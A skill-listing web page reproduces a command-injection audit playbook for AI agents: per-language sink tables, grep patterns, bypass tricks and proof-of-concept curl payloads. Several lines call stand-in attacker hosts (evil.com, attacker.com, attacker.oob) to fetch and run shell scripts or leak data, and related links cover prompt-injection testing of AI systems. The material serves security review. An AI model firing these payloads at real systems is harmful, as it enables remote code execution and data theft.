command-injection
What it does
This skill is a playbook for finding command injection flaws, where user input is sent to the operating system shell. It is for developers and security reviewers who review code they are allowed to inspect.
When to use it
- βWhen a developer asks the agent to check whether user input can reach a shell or system command.
- βWhen the agent reviews upload tools, PDF generators or media converters that call outside programs.
- βWhen a team wants a list of safer command APIs for each programming language.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check our authorized source code for any place where user input reaches a system command?β
5 new skills a week. 1 minute to read.
How it works
The agent searches the code for common command sinks in each language, traces the input to each one, and lists the places that need safer handling.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Command Injection Playbook
If SQL injection is the king of web vulns, command injection is the king of DevOps vulns. Every image-processing upload, PDF generator, ffmpeg wrapper, and "run a script" feature is a candidate.
1. Sinks
| Language | Dangerous | Safer |
|---|---|---|
| Python | os.system, subprocess.Popen(..., shell=True), os.popen, commands.getoutput |
subprocess.run([...], shell=False) |
| Node | child_process.exec, execSync |
child_process.execFile, spawn (array args) |
| Go | exec.Command("sh","-c",user) |
exec.Command(bin, arg1, arg2) with array |
| Java | Runtime.exec(String) |
Runtime.exec(String[]), ProcessBuilder([...]) |
| Ruby | backticks, system(str), %x{...} |
Kernel.system(bin, *args), Open3.capture2e |
| PHP | shell_exec, exec, system, backticks, passthru |
escapeshellarg + explicit execve |
Even the "safer" APIs are exploitable if the binary path is user
controlled (exec.Command(userBin, "--version")).
2. Non-obvious sinks
- Template engines rendering shell: Ansible playbooks, systemd unit files, crontab strings
- Docker-compose / k8s manifests where
command:is built from user input - PDF libraries that shell out to
pdflatex,wkhtmltopdf,puppeteer - ImageMagick β
convert user.jpg out.pngwhereuser.jpgis attacker-chosen (classic ImageTragick) - ffmpeg
-iwith user-provided URL/file (SSRF + RCE combo) - Git clone with user-supplied URL (remote helper injection)
- SSH/Rsync wrappers building
ssh user@host "cmd"from templates - ZIP extractors passing archive path to
unzipbinary
3. Audit workflow
# Level 1: obvious sinks
grep -rE 'os\.system\(|subprocess.*shell\s*=\s*True|exec\s*\(' /workspace/src
grep -rE 'Runtime\.exec\(|ProcessBuilder\([^[]' /workspace/src
grep -rE 'child_process\.(exec|execSync)\(' /workspace/src
# Level 2: shell metacharacters in strings
grep -rE '"[^"]*\$\{[a-z]+\}.*(-[a-z]|[;|&])"' /workspace/src
# Level 3: template strings
grep -rE 'ffmpeg|pdflatex|wkhtmltopdf|convert|pandoc' /workspace/src
4. Bypasses
Even when developers "sanitize" via blocklists:
- Argument injection (the -oProxyCommand trick) β passing
-oProxyCommand=curl $(whoami).attacker.comto ssh-based sinks - Space replacement β
${IFS},{ls,-la}(brace expansion) - Backtick/dollar-paren β
$(id),`id` - Command substitution in filename β
$(curl evil.com/x.sh | sh).jpg - Unicode normalisation β
οΌ(fullwidth) vs"bypass - Encoded newline β
%0Aturns single-command into multi-command - TarSlip β
tar xzf user.tgzwith--checkpoint-action=exec=... - Git β
git clone 'ssh://ext::sh -c whoami # foo'
5. PoC ideas
# Spare out-of-band tester β DNS exfil confirms silent RCE
curl "https://target.com/export?filename=; curl $(whoami).attacker.oob/"
# Blind, response-timing based
curl "https://target.com/export?filename=; sleep 7 #.pdf"
# Noisy but fastest confirmation
curl "https://target.com/export?filename=; id > /tmp/pwn #.pdf"
6. validate_finding contract
- success_patterns:
uid=\d+,root, attacker OOB callback hit,total 0 - negative_command: same URL, filename set to
report.pdf - negative_patterns:
200,accepted
7. Default CVSS
| Variant | Vector | Score |
|---|---|---|
| Blind OOB RCE unauth | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 |
| Authenticated RCE (low priv) | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 |
| RCE with scope change (container escape) | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Command injection rarely needs chaining β it's the final hop of most
chains. Instead, use it to promote earlier nodes: add enables edges
from SSRF / file upload / path traversal vulns that deliver the
initial payload.
FAQ
What is command injection?
It is when user input is passed to a system command in a way that lets the user add their own commands.
Which code is most likely to be affected?
The skill names upload tools, PDF generators, video wrappers and scripts that run outside programs as common cases.
What are safer options?
The skill lists array-based process calls in each language, such as subprocess with a list of arguments, which avoid the shell.
Details
Original description by the author
Hunt OS command injection (CWE-78) β user input reaching shell, exec, or system calls. Covers argument-array bypasses, path confusion, and template-string injection in modern frameworks.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13955
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.